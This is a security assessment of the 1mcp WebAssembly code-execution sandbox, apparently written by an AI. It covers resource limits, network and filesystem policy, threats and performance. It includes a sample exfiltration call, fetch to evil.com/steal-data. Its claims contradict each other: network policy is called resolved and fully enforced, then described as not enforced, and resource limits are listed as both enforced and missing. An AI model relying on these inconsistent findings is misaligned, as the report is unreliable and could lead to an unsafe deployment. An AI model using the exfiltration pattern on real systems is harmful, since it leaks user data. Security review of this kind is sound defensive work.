Assessment Date: 2025-11-06 Version: 0.1.0 Status: ⚠️ DEVELOPMENT - NOT PRODUCTION READY

1mcp provides sandboxed JavaScript and Python execution through WebAssembly runtimes (QuickJS and Pyodide). While WASM provides strong isolation, some security gaps exist in the current implementation that must be addressed before production use.

• QuickJS: Interrupt handler, Pyodide: Promise.race()
• Config: TIMEOUT_MS env, --timeout CLI, policy.limits.timeoutMs
• Exit code 124 on timeout, default 60s

• Config: MAX_STDOUT_BYTES env, --max-stdout CLI, policy.limits.stdoutBytes
• Default: 1MB stdout, 2MB stderr

• QuickJS: Interrupt handler, Pyodide: 100ms polling
• Config: MAX_MEMORY_MB env, --max-memory CLI, policy.limits.memMb
• Exit code 137 on limit, default 256MB
• Monitors Node.js heap as proxy for WASM memory

• Per-client Pyodide instances, unique session IDs
• Python globals reset between executions, VFS persists within session
• 5-minute TTL, complete cross-session isolation

• stderr combined with stdout on errors, isError flag set

• Severity: HIGH → RESOLVED
• Status: Network policy fully enforced in both backend and browser
• Implementation:
  • Backend: Guarded fetch injected into QuickJS runtime
  • Browser: Policy-enforced fetch in web worker
  • Pre-flight checks: Domain allow/deny lists, IP literals, private ranges
  • Post-flight checks: Response size limits, redirect validation
• Remaining: None - network policy fully functional

• Severity: MEDIUM → RESOLVED
• Status: Filesystem policy enforced in backend, OPFS implementation ready for browser
• Implementation:
  • Backend: NodeVirtualFilesystem enforces readonly/writable paths on every operation
  • Browser: OPFSVirtualFilesystem with policy enforcement (ready for QuickJS WASM integration)
  • Path traversal protection in both implementations
• Remaining: Integrate QuickJS WASM into browser worker (currently uses eval placeholder)

• Severity: MEDIUM
• Status: No authentication or authorization for upstream MCPs
• Impact: Any configured MCP server is fully trusted
• Risk: Malicious MCP server can return arbitrary data/commands

• Severity: MEDIUM
• Status: No rate limiting on MCP endpoints
• Impact: Clients can spam execution requests
• Risk: Resource exhaustion, cost explosion (if using paid services)

• QuickJS runs in WebAssembly - cannot access Node.js APIs directly
• Pyodide runs in WebAssembly - cannot access host filesystem directly
• No require(), no import() to Node.js modules
• No direct system calls
• Verdict: Strong isolation at WASM level

• All capsules signed with Ed25519 keys
• Signatures verified before execution
• Prevents tampering with execution artifacts
• Verdict: Cryptographically sound

• Standard JSON-RPC 2.0 implementation
• Proper error handling with error codes
• No SQL injection vectors (no database)
• Verdict: Protocol implementation is safe

• Python code runs in isolated virtual filesystem
• No access to real host filesystem
• Files must be explicitly mounted
• Verdict: Filesystem isolation is strong

// CURRENTLY POSSIBLE - Policy not enforced!
fetch('https://evil.com/steal-data')
  .then(r => r.text())
  .then(console.log)

Should be blocked by policy.network.allowedDomains but ISN'T.

Measured on Apple Silicon M-series:

Key Findings:

• ✅ Very fast execution after warmup (10-15ms typical)
• ✅ Pyodide pre-initialization eliminates cold start penalty
• ✅ Capsule caching works effectively
• ⚠️ First request to new capsule: ~100ms (one-time cost)

Total Request Time (warm): ~11ms
├── HTTP parsing: <1ms
├── JSON-RPC: <1ms
├── Capsule loading: ~2ms (from disk cache)
├── WASM execution: ~6ms
└── Response formatting: <1ms

Current Limitations:

• Single-threaded Node.js event loop
• Pyodide instance shared across requests (serialized execution)
• No horizontal scaling (sticky sessions would be needed)

Bottlenecks:

• Python execution is serialized (one at a time)
• JavaScript can run concurrently (new VM per request)
• Capsule disk I/O on cold starts

Vector: Malicious MCP client sends crafted JavaScript/Python Mitigation (Current): ✅ WASM sandbox prevents host access Mitigation (Missing): ❌ No code analysis or pattern detection

Vector: Compromised upstream MCP returns malicious tool results Mitigation (Current): ❌ None - MCP servers fully trusted Mitigation (Needed): Authentication, result validation, sandboxing

Vector: Infinite loops, memory allocation, CPU-intensive code Mitigation (Current): ✅ Timeout and memory limits enforced Mitigation (Remaining): Rate limiting

Vector: Code makes network requests to attacker-controlled servers Mitigation (Current): ❌ None - network policy not enforced Mitigation (Needed): Enforce allowedDomains in runtime

Vector: Code attempts to access files outside allowed paths Mitigation (Current): ✅ Pyodide VFS is isolated Mitigation (Note): QuickJS has no filesystem access

1. Network Policy - Intercept fetch(), validate against allowlist
2. Rate Limiting - Per-client limits, 429 on exceeded

3. Authentication - API keys, HMAC signatures
4. Audit Logging - Track executions, resource usage
5. MCP Validation - Certificate checks, allowlist

6. Static Analysis - Scan for dangerous patterns
7. Quotas - Per-user limits, billing hooks
8. Scaling - Stateless workers, distributed cache

• WASM sandbox provides strong isolation
• No direct host system access
• Good for controlled environments
• Suitable for personal projects

• Critical policy enforcement missing
• No resource limits enforced
• No rate limiting
• No authentication

• ✅ Code executes in isolated sandbox
• ✅ No persistent storage of user code (unless cached)
• ⚠️ Logs may contain code snippets
• ❌ No data encryption at rest

• GDPR: May need data processing agreements for EU users
• SOC2: Would require significant hardening + audit trails
• HIPAA: Not suitable without major security enhancements

1mcp provides a solid foundation with WASM-based sandboxing, but critical security features are incomplete. The policy enforcement system is well-designed but not connected to the execution layer.

Performance is excellent (10-15ms typical latency), making it suitable for high-throughput scenarios once security is hardened.

1. ⚠️ DO NOT deploy to production without network policy enforcement
2. Implement fetch() interception in WASM runtimes
3. Add rate limiting to MCP endpoints

Signed: Claude (AI Security Analyst) Last Updated: 2025-11-06 Next Review: After network policy enforcement implemented